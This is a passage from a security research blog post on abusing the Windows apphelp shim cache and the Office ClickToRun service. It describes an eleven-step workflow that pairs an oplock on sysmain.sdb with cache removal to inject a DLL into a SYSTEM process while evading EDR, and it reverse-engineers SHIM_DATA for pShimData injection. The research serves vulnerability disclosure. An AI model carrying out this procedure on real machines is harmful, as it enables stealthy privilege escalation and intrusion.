src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcffbf51124c52afa/66e1ed72d638526d279c8440/Picture1.png-8.png" alt="Picture1.png-8.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Security check ClickToRunSvc performs on the client's permissions</figcaption> </div> </figure> <p></p> <p>In conclusion, escalation from non-admin to admin privileges is not possible. But it does raise a different question: can we escalate from admin to NT AUTHORITY\SYSTEM?&nbsp;</p> <h5>Launching Suspended Process as SYSTEM&nbsp;</h5> <p>We used API monitoring to look for processes running as <em>NT AUTHORITY\SYSTEM</em> that call <em>CreateProcess</em> with the <em>CREATE_SUSPENEDED</em> flag, leading us to the task scheduler service.&nbsp;</p> <p>This service is a perfect candidate for abuse. Many scheduled tasks are launched as SYSTEM, including some that belong to Office. Forcing <em>ClickToRunSvc</em> to inject a DLL into another Office process is even less likely to raise alarms since it injects a DLL into <em>ai.exe</em> every time Word is launched. The task we chose is “Office Automatic Updates 2.0.”&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt77a861221382cd0b" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt77a861221382cd0b/66e1ed73ac32507a2f7fa959/Picture1.png-9.png" alt="Picture1.png-9.png" width="483" height="auto" max-width="483" style="width: 483px; height: auto;" /> <figcaption style="text-align: center;" style="text-align: center;">Scheduled task created by Office and configuted to execute as "NT AUTHORITY\SYSTEM"</figcaption> </div> </figure> <p></p> <p>The problem is that the task scheduler service resumes the process shortly after it is launched. We need to find a way to hold the execution of the task scheduler service before it resumes the process so that we can modify the IAT. We can do that using an opportunistic lock.&nbsp;</p> <h5>Opportunistic Locks&nbsp;</h5> <p>An Opportunistic Lock (OpLock) is a mechanism used in networked file systems to optimize file access and improve performance. When a file is accessed by a client application, the server grants an opportunistic lock to the client. This lock allows the client to perform operations on the file without interference from other clients. While a client holds an opportunistic lock, it caches data locally. If another client attempts to access the same file, the server can break the opportunistic lock held by the first client. This ensures data consistency and prevents conflicts between clients. When the lock is broken, the server typically notifies the first client to flush any cached data and reestablish its lock, if necessary.&nbsp;</p> <p>Applications can also request an oplock when accessing a local file to prevent other applications and processes from corrupting the file. The application can request the oplock from the local filesystem and then cache the file locally. In these cases, the local server uses the opportunistic lock like a semaphore, the main purpose of which is to prevent data incoherency and notify the process about file access.&nbsp;</p> <p>If we can find a file that is accessed by the task scheduler service after the process is created but before it is resumed and the loader parses the IAT, we can request an oplock for this file and stop the service from resuming the process until the injection is done.&nbsp;&nbsp;M<span style="color: rgb(0, 0, 0);">onitoring file access during the launch of scheduled tasks showed that the file </span><span style="color: rgb(0, 0, 0);"><em>C:\Windows\apppatch\sysmain.sdb </em></span><span style="color: rgb(0, 0, 0);">was read. This file is a shim database. It stores app compatibility settings.&nbsp;</span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt1c685618064accbb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1c685618064accbb/66e1ed73f597b3f9e9ef8b36/Picture1.png-10.png" alt="Picture1.png-10.png" width="362" height="auto" style="width: 362px; height: auto;" /> <figcaption style="text-align: center;" style="text-align: center;">Callstack showing the API CreateProcess open the shim database</figcaption> </div> </figure> <h5></h5> <h5>App Compatibility&nbsp;</h5> <p>The App Compatibility framework is a set of tools, libraries, and techniques provided by Microsoft to ensure that older Windows applications can still run smoothly on newer versions of the Windows operating system. This framework includes various compatibility modes, shims, and other mechanisms.&nbsp;</p> <p>The goal of the Windows App Compatibility framework is to minimize disruptions for users and businesses when upgrading to newer versions of Windows by maintaining compatibility with older software. It helps address issues related to changes in the operating system that might affect the behavior of existing applications, such as changes in APIs, security features, or system configurations.&nbsp;</p> <p><span style="color: rgb(0, 0, 0);">The framework offers single fixes, such as resolution change, or file redirection, and modes (also referred to as layers) that act as a pack of fixes applied together.&nbsp;</span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt1284c00bc592e24a" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1284c00bc592e24a/66e1ed95f597b3db16ef8b41/Picture1.png-11.png" alt="Picture1.png-11.png" width="303" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">App compatibility fixes available through the file properties</figcaption> </div> </figure> <p></p> <p>This framework also uses <em>.sdb</em> files, or "Shim Database" files, to store compatibility fixes. The <em>.sdb </em>files are managed by the Compatibility Administrator tool, which is part of the Windows Assessment and Deployment Kit (ADK). Administrators can use this tool to create, modify, and deploy compatibility fixes stored in <em>.sdb</em> files to address compatibility issues across their organization’s applications.&nbsp;</p> <p>Our goal is to find a scheduled task that executes a file with app compatibility settings. To do that, we ran every task and checked which ones caused the service to read the sdb file. The only tasks we found were related to the Microsoft Edge update. They execute <em>C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe</em>, which we can see has compatibility settings using Microsoft’s Compatibility Administrator software. Every process containing the string “Update” will receive the “GenericInstaller” fix.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc51178000aaa6fd9" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc51178000aaa6fd9/66e1ed95d638524c829c844b/Picture1.png-12.png" alt="Picture1.png-12.png" width="640" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Entry in the shim database about files with the word "update"</figcaption> </div> </figure> <p></p> <p>This can be a good target for injecting a DLL into a 32-bit process, but we still need to find a 64-bit target.&nbsp;</p> <p>While researching this subject, we noticed a strange behavior. The sdb file was read the first time an executable ran since the machine booted, even if it didn’t have matching app compatibility settings. After that, in all subsequent runs, the sdb file wasn’t read. We wanted to find a way to guarantee the sdb file would be read any time an executable runs. We could achieve that legitimately by configuring a compatibility for the file:&nbsp;</p> <ol> <li> <p>The tool <em>sdbinst</em>, which installs a custom sdb file on the system by configuring the following registry values:&nbsp;<br /><em>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom</em>&nbsp;<br /><em>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB</em>&nbsp;</p> </li> <li> <p>The compatibility window under the file’s properties&nbsp;</p> </li> </ol> <p>SDB files are a known attack vector and can be abused for code injection and API hooking, which means Endpoint Detection &amp; Response (EDR) tools might detect new app compatibility configurations, even if they are benign. It’s also why <a href="https://www.deepinstinct.com/endpoint-detection-response"><u>EDR is not enough</u></a> to protect your organization. We want to avoid registry changes and make this configuration without touching the disk.&nbsp;</p> <p>Looking for files related to app compatibility led to <em>apphelp.dll</em>, and the main API it uses is <em>NtApphelpCacheControl</em>.&nbsp;</p> <h5>NtApphelpCacheControl&nbsp;</h5> <p>This is an undocumented API that is exported by <em>ntdll</em>. It receives two parameters: an integer and a pointer to an unknown structure. Looking for usages of this API across GitHub led us to the file <em>ahcache.h</em>, which was included in previous versions of Windows SDK. This header file has detailed information about the function’s parameters.&nbsp;</p> <p>In addition, we looked for API usage by other OS components. It is used by several DLL files, such as <em>kernel32.dll</em>, <em>sxssrv.dll</em>, <em>apphelp.dll</em>, and more.&nbsp;</p> <p>When we applied the definitions of the WinAPI on calls to it in the DLL files we found inconsistencies. The size of memory allocated for the structure was larger than its definition. In some functions, the value of the first parameter was higher than the possible values of the Enum. This means that those definitions were changed since the SDK with <em>ahcache.h</em> was published.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt223bce9d78482e81" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt223bce9d78482e81/66e1ed95da189f32a0531ec4/Picture1.png-13.png" alt="Picture1.png-13.png" width="600" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">NtApphelpCacheControl is called with unknown parameters</figcaption> </div> </figure> <p></p> <p>W<span style="color: rgb(0, 0, 0);">e continued looking at the usages of </span><span style="color: rgb(0, 0, 0);"><em>NtApphelpCacheControl </em></span><span style="color: rgb(0, 0, 0);">and discovered that the symbols of </span><span style="color: rgb(0, 0, 0);"><em>combase.dll</em></span><span style="color: rgb(0, 0, 0);"> contained information about the API! Extracting the relevant definitions of the symbols resulted in an updated version of </span><span style="color: rgb(0, 0, 0);"><em>ahcache.h</em></span><span style="color: rgb(0, 0, 0);">. It shows us the various operations that can be performed with the API.</span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt004807175c50e935" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt004807175c50e935/66e1ed951df70e2293492326/Picture1.png-14.png" alt="Picture1.png-14.png" width="585" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Updated definition of the first parameter for NtApphelpCacheControl</figcaption> </div> </figure> <p></p> <p><span style="color: rgb(0, 0, 0);">Once we understand these definitions, the calls to the API in other DLL files are much clearer. </span><span style="color: rgb(0, 0, 0);"><em>CreateProcess</em></span><span style="color: rgb(0, 0, 0);"> calls this API behind the scenes with the parameter </span><span style="color: rgb(0, 0, 0);"><em>ApphelpCacheServiceLookupProcess:</em></span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltbc650007da64dff7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbc650007da64dff7/66e1ed95fce84e40a832adcb/Picture1.png-15.png" alt="Picture1.png-15.png" width="639" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Callstack showing how the API CreateProcess looks up values in the cache</figcaption> </div> </figure> <p></p> <p>When the operating system shuts down, the cache is flushed to the registry and, on startup, is read and “loaded” as the current cache database. If the cache is clear when a process is launched for the first time, there is no information about it, so the sdb file is read, and an entry is added to the cache that specifies if the file has app compatibility fixes. That is why the sdb file isn’t read when a process is launched for the second time.&nbsp;</p> <p>If we remove this entry from the cache, the sdb file will be read again.&nbsp;</p> <p>After looking at cross-references to <em>NtApphelpCacheControl</em>, we saw that both <em>kernel32.dll</em> and <em>apphelp.dll</em> perform the “remove” operation. They also have an exported function that simplifies the creation of the structure by accepting only the file name and the file handle.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc97fa5b854fdd49f" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc97fa5b854fdd49f/66e1ed95f597b3c8bdef8b3d/Picture1.png-16.png" alt="Picture1.png-16.png" width="589" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Function from kernel32.dll that removes values from the shim cache</figcaption> </div> </figure> <p>After calling <em>NtApphelpCacheControl</em> with the “remove” parameter, the file’s execution will once again trigger reading the sdb file, which we can lock to keep the process suspended. We can then inject our DLL.&nbsp;</p> <h5>Attack #1 Workflow&nbsp;</h5> <ol> <li> <p>Write to disk the DLL that will be injected&nbsp;</p> </li> <li> <p>Find the path of the file that an arbitrary scheduled task will execute ("Office Automatic Updates 2.0" for example)&nbsp;</p> </li> <li> <p>Remove the shim cache for this file by calling <em>BaseUpdateAppcompatCacheWorker</em> from <em>kernel32.dll</em>&nbsp;</p> </li> <li> <p>Request oplock for <em>C:\windows\apppatch\sysmain.sdb</em>&nbsp;</p> </li> <li> <p>Send a message to the scheduled tasks service to execute “Office Automatic Updates 2.0”&nbsp;</p> </li> <li> <p>The process will create SYSTEM in a suspended state&nbsp;</p> </li> <li> <p>Scheduled tasks service will attempt to read <em>C:\windows\apppatch\sysmain.sdb</em>, then enter a wait state and won't resume the process&nbsp;</p> </li> <li> <p>The callback from the oplock will be called&nbsp;&nbsp;</p> </li> <li> <p>Send an RPC to the <em>OfficeClickToRun</em> service to inject the DLL into the suspended process&nbsp;</p> </li> <li> <p>Release the oplock, and the scheduled tasks service resumes the process&nbsp;</p> </li> <li>The patched IAT will be used and the DLL will be loaded into a SYSTEM process</li> </ol> <p></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img alt="mp4_demo1-ezgif.com-video-to-gif-converter.gif" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt54f499f47e3c9c9a/66e9dbc41644887b53fd38c5/mp4_demo1-ezgif.com-video-to-gif-converter.gif" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Showcasing the first attack</figcaption> </div> </figure> <h5>Attack #1 Summary&nbsp;</h5> <p>This attack has the following advantages:&nbsp;</p> <ol> <li> <p>A benign and known process does the injection for us by executing a technique not monitored by EDR solutions. As such, it is unlikely to raise any alarms.&nbsp;</p> </li> <li> <p>It injects the DLL into a benign process that cannot be connected to us. It is spawned as a child process of the task scheduler.&nbsp;</p> </li> <li> <p>We achieve code execution as “<em>NT AUTHORITY\SYSTEM.</em>”&nbsp;</p> </li> <li> <p>The rest of the actions we perform, such as calling <em>NtApphelpCacheControl </em>and requesting an OpLock, are mostly unmonitored by security products.&nbsp;</p> </li> </ol> <p>This attack achieves both code injection and privilege escalation. It also demonstrates the process of looking for vulnerabilities. We found an RPC method that can be abused, but calling it wasn’t enough to execute a significant attack. When we hit an obstacle, we looked at another component of the OS to overcome it. Only by chaining all the manipulations can we gain something from the initial RPC call.&nbsp;</p> <h5>Digging into the Apphelp Cache&nbsp;</h5> <p>We wanted to gain a deeper understanding of what happens when we call <em>NtApphelpCacheControl</em> and what we can do with it.&nbsp;</p> <p>When the call to this API reaches the kernel, <em>ntoskrnl.exe</em> sends a device IO request to \Device\ahcache, which is controlled by <em>ahcache.sys</em>.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt27e68a260a62cf47" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt27e68a260a62cf47/66e1ed960d447e0cdc172664/Picture1.png-17.png" alt="Picture1.png-17.png" width="385" height="auto" max-width="385" /> <figcaption style="text-align: center;" style="text-align: center;">A look into the callstack of NtApphelpCacheControl</figcaption> </div> </figure> <p>&nbsp;</p> <p>When <em>ahcache.sys</em> is loaded, it reads the registry values under&nbsp;<br /><em>\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatCache </em>:&nbsp;<br />a. AppCompatCache&nbsp;<br />b. CacheMainSdb&nbsp;<br />c. SdbTime&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltbc75bafba9787ea0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbc75bafba9787ea0/66e1ed967c4ba075c0b1d599/Picture1.png-18.png" alt="Picture1.png-18.png" width="618" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">The registry values that are used for cache operations</figcaption> </div> </figure> <p></p> <p>These values contain binary data that the driver sorts into an AVL table.</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltebb674fdd5d3eae7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltebb674fdd5d3eae7/66e1ed96dc63c47fd4d18824/Picture1.png-19.png" alt="Picture1.png-19.png" width="579" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">From driver entry to the initialization of the AVL table</figcaption> </div> </figure> <p>The various operations performed by <em>NtApphelpCacheControl</em> result in the lookup, insertion, or deletion of entries in the table.&nbsp;</p> <p>Each entry in the value’s AVL table that should be shimmed contains an EXE TAG.&nbsp;<br />All entries contain the following: size of entry, size of data, data buffer, and NtImagePath.&nbsp;<br />Data from the in-memory table is dumped into the registry value on shutdown/restart.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt32642c3442a2fb42" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt32642c3442a2fb42/66e1fb388d34fb55046f7863/Screenshot_2024-09-11_at_4.18.43_PM.png" alt="Screenshot 2024-09-11 at 4.18.43 PM.png" width="615" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Looking inside the AVL table</figcaption> </div> </figure> <p>&nbsp;</p> <p>Let’s take the <span style="color: rgb(0, 0, 0);"><em>VRCHAT.exe</em></span><span style="color: rgb(0, 0, 0);"> entry, for example, and grab </span><span style="color: rgb(255, 0, 0);">9CCC20</span>. If we convert from the little-endian format, we get 0x20cc9c. With <a href="https://github.com/evil-e/sdb-explorer"><u>sdb-explorer</u></a>, we can search for the converted value in a readable version of sysmain.sdb.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltbfe9addb469a2ae4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbfe9addb469a2ae4/66e1ed956f7b437946d480ea/Picture1.png-20.png" alt="Picture1.png-20.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Readable version of the sysmain.sdb entry by sdb-explorer</figcaption> </div> </figure> <p></p> <p>If we look inside the actual <em>sysmain</em>.<em>sdb </em>file at the 0x20cc9c address, we can see the entry, including the TAGs presented above.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt1138e57e185e4f12" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1138e57e185e4f12/66e1edac8d34fb99e56f7705/Picture1.png-21.png" width="570" alt="Picture1.png-21.png" height="auto" max-width="570" /> <figcaption style="text-align: center;" style="text-align: center;">The raw look of the entry inside of sysmain.sdb</figcaption> </div> </figure> <p></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img alt="vid1.gif" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdeac1338715a35ca/66e856f694a9735aebd602ca/vid1.gif" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">From AVL table entry to sysmain.sdb</figcaption> </div> </figure> <p><span style="color: rgb(0, 0, 0);">While looking at the dispatch routines for</span><span style="color: rgb(0, 0, 0);"><em> \Device\ahcache</em></span><span style="color: rgb(0, 0, 0);">, we noticed that the function that handles the request of </span><span style="color: rgb(0, 0, 0);"><em>ApphelpCacheServiceInitProcessData</em></span><span style="color: rgb(0, 0, 0);"> doesn’t access the AVL table. Instead, it writes into the memory of another process!&nbsp;</span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2ae5828ab2adba55" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ae5828ab2adba55/66e1edacda189f0d0d531ecc/Picture1.png-22.png" alt="Picture1.png-22.png" width="auto" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Writing to the memory of another process</figcaption> </div> </figure> <h5>Init Process Data&nbsp;</h5> <p>When calling <em>NtApphelpCacheControl</em> with the parameter <em>ApphelpCacheServiceInitProcessData</em>, the structure that needs to be filled is:&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte04f7fb445259ca7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte04f7fb445259ca7/66e1edacd63852f9639c8454/Picture1.png-23.png" alt="Picture1.png-23.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Undocumented structure for ApphelpCacheServiceInitProcessData</figcaption> </div> </figure> <p><span style="color: rgb(0, 0, 0);">Based on reverse engineering and old definitions from ReactOS, the undocumented Data field should look like this:&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 0);"></span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt30915bd31e75a8ae" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt30915bd31e75a8ae/66e1edacf597b38442ef8b46/Picture1.png-24.png" width="464" alt="Picture1.png-24.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Undocumented Shim Data Structure</figcaption> </div> </figure> <p></p> <p>The function in <em>ahcache</em>.<em>sys </em>that handles this request is AhcApiInitProcessData. Before it writes to the memory of another process, several checks are made:&nbsp;</p> <p>a. <span style="color: rgb(0, 0, 0);">ProcessHandle is not null&nbsp;</span></p> <p>b. DataSize is 0x11C0 or higher&nbsp;</p> <p>c. Data.Magic is 0xAC0DEDAB&nbsp;</p> <p>d. Data.Size is 0x11C0&nbsp;</p> <p>e. The calling process runs as NT AUTHORITY\SYSTEM and has the privilege SeTcbPrivilege&nbsp;</p> <p>f. Calling PsGetProcessProtection on the target process returns 0x81 (expanded upon below)&nbsp;</p> <p>g. The PEB of the target process is checked. BitField needs to have the flag <a href="https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpebteb.h#L119"><u>IsPackagedProcess</u></a> (0x10) turned on.&nbsp;&nbsp;<span style="color: rgb(0, 0, 0);">The call fails when </span><span style="color: rgb(0, 0, 0);"><em>PsGetProcessProtection </em></span><span style="color: rgb(0, 0, 0);">is called. This function returns the field Protection from the </span><span style="color: rgb(0, 0, 0);"><em>EPROCESS </em></span><span style="color: rgb(0, 0, 0);">structure. This field can be retrieved from user-mode and is documented under </span><span style="color: rgb(0, 0, 0);"><em>ZwQueryInformationProcess</em></span><span style="color: rgb(0, 0, 0);">. The value 0x81 means that </span><span style="color: rgb(0, 0, 0);"><em>PS_PROTECTION.Type</em></span><span style="color: rgb(0, 0, 0);"> is </span><span style="color: rgb(0, 0, 0);"><em>PsProtectedTypeProtectedLight </em></span><span style="color: rgb(0, 0, 0);">(0x1) and </span><span style="color: rgb(0, 0, 0);"><em>PS_PROTECTION.Signer</em></span><span style="color: rgb(0, 0, 0);"> is </span><span style="color: rgb(0, 0, 0);"><em>PsProtectedSignerApp </em></span><span style="color: rgb(0, 0, 0);">(0x8).&nbsp;</span><span style="color: rgb(0, 0, 0);"></span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt098c7ab49623365f" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt098c7ab49623365f/66e1edacf0ca51cc08ee11d3/Picture1.png-25.png" width="450" alt="Picture1.png-25.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">PsProtectedTypeProtectedLight from the EPROCESS structure</figcaption> </div> </figure> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt1d8744e6a55e7ec6" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1d8744e6a55e7ec6/66e1edac8d34fbee7c6f7701/Picture1.png-26.png" width="507" alt="Picture1.png-26.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">PsProtectedSignerApp from the EPROCESS structure</figcaption> </div> </figure> <p></p> <p>Looking at every process in Windows 11, we concluded that there are <strong>NO </strong>Windows Apps with this kind of protection.&nbsp;<br />This means that we don’t have a target.&nbsp;</p> <p>We concluded that this call would not result in code injection, but we’ll leave it to the community to investigate this type of request and find a way to abuse it.&nbsp;&nbsp;</p> <p>Still, this undocumented structure piqued our intrest, and we wanted to understand what it represents. So, we looked for the magic values in all the DLL files on the system and found that several functions in kernel32.dll and apphelp.dll reference it: <em>SdbUnpackAppCompatData</em>, <em>SdbPackAppCompatData</em>, <em>SdbGetAppCompatDataSize</em>, <em>BaseReadAppCompatDataForProcessWorker</em>, <em>BasepGetAppCompatData</em>, and<em> SbpGetShimData</em>.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img alt="image30.jpg" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt834e627740944703/66e9d8d60742c54ec7f8ee8a/image30.jpg" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Magic Values search results</figcaption> </div> </figure> <h5>Compatibility Fixes Initialization&nbsp;</h5> <p>Reverse engineering the functions that reference this magic value revealed that this structure represents the shim fixes that need to be applied to the process. When a new process is created, the following steps occur as part of <em>kernelbase!CreateProcessInternalW</em>:&nbsp;</p> <p>a. The parent queries the <em>apphelp </em>cache to check if the child process requires shim fixes.&nbsp;</p> <p>b. The parent process reads <em>sysmain.sdb</em> to retrieve the complete information about the fixes.&nbsp;</p> <p>c. The parent builds the structure according to these specific fixes and writes it to the memory of the child process.&nbsp;&nbsp;</p> <p>d. The parent modifies the value of PEB-&gt;pShimData to point to the structure.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt50219d426c76b3d2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt50219d426c76b3d2/66e1edac6f7b431d07d480ee/Picture1.png-27.png" width="563" alt="Picture1.png-27.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">A look at pShimData from the PEB structure</figcaption> </div> </figure> <p></p> <p>e. <em>ntdll </em>loads <em>apphelp.dll </em>if <em>pShimData </em>is not empty&nbsp;</p> <p>f. <em>apphelp.dll</em> applies the shim fixes according to the structure&nbsp;</p> <p></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img alt="vid2.gif" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0b42b7284e863960/66e8576eb3a28f553f3d0330/vid2.gif" width="auto" height="357" /> <figcaption style="text-align: center;" style="text-align: center;">Overview of what happens when a new process is created</figcaption> </div> </figure> <h5>Creating SHIM_DATA&nbsp;</h5> <p>After the shim cache is queried, the parent process builds the <em>SHIM_DATA</em> structure as part of the call to <em>CreateProcess</em>.&nbsp;&nbsp;&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt09ef2d1fc2c6c02d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt09ef2d1fc2c6c02d/66e1edacdc63c47e43d18829/Picture1.png-28.png" width="572" alt="Picture1.png-28.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Shim Data build flow inside the parent process</figcaption> </div> </figure> <p>&nbsp;</p> <h5>pShimData Injection&nbsp;</h5> <p>To achieve our goal, we need to understand the fields of the undocumented structure written to PEB-&gt;<em>pShimData</em>.&nbsp;&nbsp;</p> <p>The tool “Compatibility Administrator” was used to install custom rules for various shims on the system.&nbsp;&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt7cc6699e8a6f1b1a" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7cc6699e8a6f1b1a/66e1edac8d34fb648f6f7709/Picture1.png-29.png" width="361" alt="Picture1.png-29.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">The InjectDll Fix inside of the "Compatibility Administrator" tool</figcaption> </div> </figure> <p></p> <p>Once a custom rule was applied to a process, the raw data of SHIM_DATA was dumped from the memory of the process. The raw data was fuzzed by comparing it to other instances where a shim was applied to a process. Specific rules were created for different filenames and the structure was analyzed by looking at the difference between the values of the fields.&nbsp;&nbsp;</p> <p>In addition to custom rules, existing rules from <em>sysmain.sdb </em>were also tested. Processes were created to match the specifications of a rule, such as filename, version, company name, etc. Comparing the structure describing a custom rule to one describing a default rule sheds some light on additional fields.&nbsp;&nbsp;</p> <p>This methodology allows for the identification of patterns within both custom and standard <em>sysmain.sdb </em>entries, highlighting instances of exact matches, similarities, and complete differences in specific addresses in the dumps.</p> <p>Finally, similar addresses are consolidated, and a process of elimination is initiated to determine which fields are non-essential, streamlining the structure for our uses.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltcc3db9eaba73c448" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcc3db9eaba73c448/66e1edac1cd9a3f68fa042a2/Picture1.png-30.png" width="288" alt="Picture1.png-30.png" height="auto" max-width="288" /> <figcaption style="text-align: center;" style="text-align: center;">A sysmain.sdb entry</figcaption> </div> </figure> <p></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt9c556279a069b39f" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9c556279a069b39f/66e1edb9f597b347d3ef8b4d/Picture1.png-31.png" width="293" alt="Picture1.png-31.png" height="auto" max-width="293" /> <figcaption style="text-align: center;" style="text-align: center;">A custom sdb entry</figcaption> </div> </figure> <p></p> <p>This is the definition of the structure after reverse engineering:&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltfeb5206d574503fe" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfeb5206d574503fe/66e1edb90d447effad17266a/Picture1.png-32.png" width="529" alt="Picture1.png-32.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">The reverse-engineered SHIM_DATA structure we unveiled</figcaption> </div> </figure> <p></p> <p>We want to avoid registering a custom SDB file since it might be detected by a security product, so we need to find an existing entry in <em>sysmain.sdb</em> that applies the fix “Inject DLL.” The tool sdb-explorer can help us with that.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltf0f92179b56d14a0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf0f92179b56d14a0/66e1edb9d63852d4c59c8458/Picture1.png-33.png" width="556" alt="Picture1.png-33.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Our target sysmain.sdb entry for the attack</figcaption> </div> </figure> <p></p> <p>According to this entry, <em>RTvideo.dll</em> will be injected if the process name starts with <em>GLJ</em>, ends with the temp extension, and has the correct company and product name. Luckily, these checks are done by the parent process. Once SHIM_DATA-&gt;<em>ExeTag</em> points to this entry, <em>apphelp.dll</em> will apply the fix without checking the conditions.&nbsp;&nbsp;</p> <h5>Limitations&nbsp;</h5> <p>a. The injected process must be launched as suspended. We cannot inject into a process that is already running. The callstack that leads to LoadLibrary goes through <em>apphelp!SE_InstallAfterInit</em>, which is an exported function. We tried executing the attack on an already-running process by writing our custom SHIM_DATA to it and then launching a remote thread on the process that will execute <em>apphelp!SE_InstallAfterInit</em> again. This attempt failed because 